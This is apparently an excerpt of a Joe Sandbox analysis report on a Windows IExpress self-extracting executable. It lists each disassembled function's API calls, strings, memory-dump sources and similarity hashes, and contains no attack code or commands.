String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup2
API String ID: 849931509-3354236729
Opcode ID: bfc0358cdb992baa6620fc5c5edfb820b166796af7f1325a06a2f2fdbd10f119
Instruction ID: 221bfc653f6c9e0df0b56dcdb3808b774da1a7f27726a93f0c53c9ce9213a0ee
Opcode Fuzzy Hash: bfc0358cdb992baa6620fc5c5edfb820b166796af7f1325a06a2f2fdbd10f119
Instruction Fuzzy Hash: 47E08630555719BBD7238F90EC0EF5A7B2DF705740F118295FA05B0060EBB15E14EA05

Function 00364169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646A0
Part of subcall function 0036468F: SizeofResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646A9
Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646C3
Part of subcall function 0036468F: LoadResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646CC
Part of subcall function 0036468F: LockResource.KERNEL32(00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646D3
Part of subcall function 0036468F: memcpy_s.MSVCRT ref: 003646E5
Part of subcall function 0036468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003646EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,003630B4), ref: 00364189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,003630B4), ref: 003641E7

Part of subcall function 003644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00364518
Part of subcall function 003644B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00364554

Strings

FINISHMSG, xrefs: 00364173, 003641AB
<None>, xrefs: 003641C5

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: 942e3e41900f69d65251e502a029ad1cf1a2900b0f535df9d9eea9fd43cf6784
Instruction ID: dd49392a40aa87b5081ca5c4b31d52543e74e1dcd6a952f3e9a11a029d68388e
Opcode Fuzzy Hash: 942e3e41900f69d65251e502a029ad1cf1a2900b0f535df9d9eea9fd43cf6784
Instruction Fuzzy Hash: 0F01FFF9B002247FF32727668C86F7B218EDBD6795F15C025B706E62889EA9CC0141B5

Function 00364CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00364DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00364DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00364D36, 00364DE3

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\
API String ID: 3625706803-1525623783
Opcode ID: e432ccc5a0b1a39e66319ee77141b4697bcb1bb40fe4d2524a9319284ce16e64
Instruction ID: 672ef0f41b7eabfc728b4ba6e2daf555ff3306779fd30d06714ab02241108ae2
Opcode Fuzzy Hash: e432ccc5a0b1a39e66319ee77141b4697bcb1bb40fe4d2524a9319284ce16e64
Instruction Fuzzy Hash: 8A412836E001019BCB239F38DD44AF573A9EB46700F15C669D8829B68EDF32DE46C790

Function 00364C37 Relevance: 4.5, APIs: 3, Instructions: 39timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00364C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00364C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00364C7E

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: d399fab5d6a63a02cfac210935eee7c6e1e0aafc92fc664e026fc7b6aabf6423
Instruction ID: d03170fec658c1c4cc3af25eb7e5e5e096e8caf0d4da0298c90f03ffc249b618
Opcode Fuzzy Hash: d399fab5d6a63a02cfac210935eee7c6e1e0aafc92fc664e026fc7b6aabf6423
Instruction Fuzzy Hash: 32F06D72A01208BEDB26AFA5CC489BB7BACEB08340B44852BE815D1150EA70D914DBB0

Function 0036487A Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00364A23,?,00364F67,*MEMCAB,00008000,00000180), ref: 003648DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00364F67,*MEMCAB,00008000,00000180), ref: 00364902

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 76ad642bd63c6298b363a9b4bc886061f814b11011f0993e6ae55e9d90337863
Instruction ID: 1ff67baa108779f6c11b54025fc4b5f0a701384b75f02c0ebab59d0641483e00
Opcode Fuzzy Hash: 76ad642bd63c6298b363a9b4bc886061f814b11011f0993e6ae55e9d90337863
Instruction Fuzzy Hash: B5016DA3E1157026F32641294C88FB7555CCBD6B34F1B8334FDEAE71D1D6654C0482E0

Function 00364AD0 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00363680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0036369F
Part of subcall function 00363680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003636B2
Part of subcall function 00363680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003636DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00364B05

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: a5df5b8becd1862398329e8bd64441a1d8a6e3be79b563fb981a4343c6750fd9
Instruction ID: 3b14cfdd94583af2d733d5d8ef14a4159b05bffe248ca3abe5f32babe3492982
Opcode Fuzzy Hash: a5df5b8becd1862398329e8bd64441a1d8a6e3be79b563fb981a4343c6750fd9
Instruction Fuzzy Hash: EE019231600205ABD7178F59DC15BA2775DF748725F15C225F979971E0CBB0D811CB50

Function 0036658A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CharPrevA.USER32(00368B3E,00368B3F,00000001,00368B3E,-00000003,?,003660EC,00361140,?), ref: 003665BA

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 2d6f585483c87173a3aea34bef712ad78abc65f5d4e65807fbb946cee2dd75f1
Instruction ID: 0aad28bfc9e40ddb4b9c1867e545840450f38c2211957c5ca92523f1fcc4047f
Opcode Fuzzy Hash: 2d6f585483c87173a3aea34bef712ad78abc65f5d4e65807fbb946cee2dd75f1
Instruction Fuzzy Hash: DFF04C321042509BD3334A1DD886B67BFDE9B87390F29816EEADBC320DCA658C4583A4

Function 0036621E Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0036623F

Part of subcall function 003644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00364518
Part of subcall function 003644B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00364554

Part of subcall function 00366285: GetLastError.KERNEL32(00365BBC), ref: 00366285

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 70af13ad2ca4020d7bbac6f283cf64aefd3feba8db862c2d92ba81a74e880865
Instruction ID: da6e9b9f665e7393d7ad9334d8cde99e9b35c1a0490c7303baef704763a1fac5
Opcode Fuzzy Hash: 70af13ad2ca4020d7bbac6f283cf64aefd3feba8db862c2d92ba81a74e880865
Instruction Fuzzy Hash: 70F0E970704208BBD752EB748D07FBE37BCDB54340F40847AB986DB185DDB49D448650

Function 003666AE Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,00364777,?,00364E38,?), ref: 003666B1

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6d9535ed5f84f17df17a11729ef8d99860072365b43a90a983f94a53c3bf96d4
Instruction ID: ff19b9b84f5eb7ae6a65b4b0a60a04441c8c216544c9fd85b63173278734cc7b
Opcode Fuzzy Hash: 6d9535ed5f84f17df17a11729ef8d99860072365b43a90a983f94a53c3bf96d4
Instruction Fuzzy Hash: 62B0927A226840426A220631BC2A5562855A7C133ABE59B94F032D01E4CA7EC856D404

Function 00364B60 Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,00000000,00000000,?,00364FA1,00000000), ref: 00364B98

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a10fd628e7250352134377229d677b8f80dd160bba916b735fc002aefcd3d0e8
Instruction ID: c27a08a44aefaf8dfa70e883196bf076671ab5baa1edca8949e83b4b90c0ccfa
Opcode Fuzzy Hash: a10fd628e7250352134377229d677b8f80dd160bba916b735fc002aefcd3d0e8
Instruction Fuzzy Hash: C1F01931940B089E47739F39CC10552BBE9EA993A0710CB2EE4AED3190DB709492CBA0

Function 00364CA0 Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00364CAA

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 69a25612299e42003932ea364474196291e0cbe270837023904b02848e67e365
Instruction ID: a846fd8b47baca0a56d6ea9ff5bf12cc5bc6505f2ff7c00794435b335ab2df49
Opcode Fuzzy Hash: 69a25612299e42003932ea364474196291e0cbe270837023904b02848e67e365
Instruction Fuzzy Hash: 59B0123204820CB7CF011FC2EC09F853F1DE7C4761F144000F60C450508AB294108A96

Function 00364CC0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 00364CC8

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2fe18c854cb271534d49e0390ca8cf39e478f6a512fd75904c764ccbbf6158a7
Instruction ID: 4f6a395b9f6612523eade488f3cafdf5eed0b00182851388ca14005caa580c84
Opcode Fuzzy Hash: 2fe18c854cb271534d49e0390ca8cf39e478f6a512fd75904c764ccbbf6158a7
Instruction Fuzzy Hash: F0B0123100010CB78F011B42EC088453F1DD6C0360B004010F50C410218B7398118985

Non-executed Functions

Function 00365C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,00000000,?,?), ref: 00365CEE
GetModuleFileNameA.KERNEL32(00368B3E,00000104,00000000,?,?), ref: 00365DFC
CharUpperA.USER32(?), ref: 00365E3E
CharUpperA.USER32(-00000052), ref: 00365EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 00365F6F
CharUpperA.USER32(?), ref: 00365FA7
CharUpperA.USER32(-0000004E), ref: 00366008
CharUpperA.USER32(?), ref: 003660AA
CloseHandle.KERNEL32(00000000,00361140,00000000,00000040,00000000), ref: 003661F1
ExitProcess.KERNEL32 ref: 003661F8

Strings

:, xrefs: 00366118
RegServer, xrefs: 00365F66
", xrefs: 00365D78
", xrefs: 0036612D

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: f5a1a69159ca83cba3d42e7db6afb500be4b8cef46e3515fd6c01fc257f4bba7
Instruction ID: 0a524fdb46e8f5b781b6b58c8c38b5ee509b2344d554221139af6c996f1e2f11
Opcode Fuzzy Hash: f5a1a69159ca83cba3d42e7db6afb500be4b8cef46e3515fd6c01fc257f4bba7
Instruction Fuzzy Hash: 05D17071A08E449FDF378B388C493F97B69A716340F15C1B6C4C6DA59DDAB18E828F50

Function 00361F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 00361EFB
OpenProcessToken.ADVAPI32(00000000), ref: 00361F02
ExitWindowsEx.USER32(00000002,00000000), ref: 00361FD3

Strings

SeShutdownPrivilege, xrefs: 00361F28

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 67a9a33e9e96e8b9caf3d9a45b1be28d2d916be7c9ccb8043fe45f7b95da5b12
Instruction ID: 52df9b96bb5d3e14a6239111653f6ace086042e66036b446af68ea78a8faade2
Opcode Fuzzy Hash: 67a9a33e9e96e8b9caf3d9a45b1be28d2d916be7c9ccb8043fe45f7b95da5b12
Instruction Fuzzy Hash: 3B210171F4020577DB325BA19C4AFBF77BCDB85B10F14C119FA01EA188DBB588019661

Function 00366CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00366E26,00361000), ref: 00366CF7
UnhandledExceptionFilter.KERNEL32(&n6,?,00366E26,00361000), ref: 00366D00
GetCurrentProcess.KERNEL32(C0000409,?,00366E26,00361000), ref: 00366D0B
TerminateProcess.KERNEL32(00000000,?,00366E26,00361000), ref: 00366D12

Strings

&n6, xrefs: 00366CFD

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID: &n6
API String ID: 3231755760-4148506864
Opcode ID: fa81b129f777716da1c6bd5e013804ccbd9cda34de9b9c11a5a82e4be53dc88c
Instruction ID: 8f1cefb2e7050a87a5205843c69dbd22c03603c319e305fd1bb6ac43ec6452fc
Opcode Fuzzy Hash: fa81b129f777716da1c6bd5e013804ccbd9cda34de9b9c11a5a82e4be53dc88c
Instruction Fuzzy Hash: 46D0C932004908BBDB022BE1EC0CA593F2CEB4A313F448000F31AA2020CAB294518F52

Function 00363210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000003E8,00368598,00000200), ref: 00363271
GetDesktopWindow.USER32 ref: 003633E2
SetWindowTextA.USER32(?,valid), ref: 003633F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 00363410
GetDlgItem.USER32(?,00000836), ref: 00363426
EnableWindow.USER32(00000000), ref: 0036342D
EndDialog.USER32(?,00000000), ref: 0036343F

Strings

valid, xrefs: 003633F1
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 003632E2, 003632E7, 00363331, 00363344, 0036335B, 0036336A

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$valid
API String ID: 2418873061-901638982
Opcode ID: 3739003e7e97becc23d3029e0ffc6f0a70cd3fece5a7c57319923a0a486d83f8
Instruction ID: c29aa1c013613c83f31f42e7e24c76ba8221c8b8ef771f6dac2417f0650755db
Opcode Fuzzy Hash: 3739003e7e97becc23d3029e0ffc6f0a70cd3fece5a7c57319923a0a486d83f8
Instruction Fuzzy Hash: 225139303802407BFB235B369C4DF7B695CDB57B54F60C029F246E66C9CEF48A019662

Function 003634F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000), ref: 00363535
EndDialog.USER32(?,?), ref: 00363541
ResetEvent.KERNEL32 ref: 0036355F
SetEvent.KERNEL32(00361140,00000000,00000020,00000004), ref: 00363590
GetDesktopWindow.USER32 ref: 003635C7
GetDlgItem.USER32(?,0000083B), ref: 003635F1
SendMessageA.USER32(00000000), ref: 003635F8
GetDlgItem.USER32(?,0000083B), ref: 00363610
SendMessageA.USER32(00000000), ref: 00363617
SetWindowTextA.USER32(?,valid), ref: 00363623
CreateThread.KERNEL32(00000000,00000000,Function_00004FE0,00000000,00000000,00368798), ref: 00363637
EndDialog.USER32(?,00000000), ref: 00363671

Strings

valid, xrefs: 0036361D

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: valid
API String ID: 2406144884-2349282815
Opcode ID: eafb767c87c63f58dc073bbeb51ce708ca3a27221109aa7e11b9ece16748163c
Instruction ID: 943d8bec1bcf11e7ffe3efe365f15b055cf16388417499b3c44c778cf56e5f4d
Opcode Fuzzy Hash: eafb767c87c63f58dc073bbeb51ce708ca3a27221109aa7e11b9ece16748163c
Instruction Fuzzy Hash: 87319571240301BBD7231F25EC4DE2A3A7CE78BB41F14CA15F702A52A8CBB58910DE55

Function 00364224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 00364236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 0036424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 00364263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 0036427A
GetTempPathA.KERNEL32(00000104,003688C0,?,00000001), ref: 0036429F
CharPrevA.USER32(003688C0,006D1181,?,00000001), ref: 003642C2
CharPrevA.USER32(003688C0,00000000,?,00000001), ref: 003642D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00364391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 003643A5

Strings

SHELL32.DLL, xrefs: 0036422F
SHBrowseForFolder, xrefs: 00364246
SHGetPathFromIDList, xrefs: 00364274

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: a98273d88181a3f2ec68e846118a61d5f8e2fd84e6ceb0527a5e1468357c7614
Instruction ID: 27784f3defb34e34cef1a3f2af2b67a788733924bc9a27e8305c042d5603214f
Opcode Fuzzy Hash: a98273d88181a3f2ec68e846118a61d5f8e2fd84e6ceb0527a5e1468357c7614
Instruction Fuzzy Hash: 054108B8E00204AFD713AF64DC949AE7BB8EB4A344F15C669E941A7359CFB58C01CB61

Function 003644B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160memorywindowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00364518
MessageBoxA.USER32(?,?,valid,00010010), ref: 00364554
LocalAlloc.KERNEL32(00000040,00000065), ref: 003645A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 003645E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 0036460D
MessageBeep.USER32(00000000), ref: 00364630
MessageBoxA.USER32(?,00000000,valid,00000000), ref: 00364666
LocalFree.KERNEL32(00000000), ref: 0036466F

Part of subcall function 0036681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0036686E
Part of subcall function 0036681F: GetSystemMetrics.USER32(0000004A), ref: 003668A7
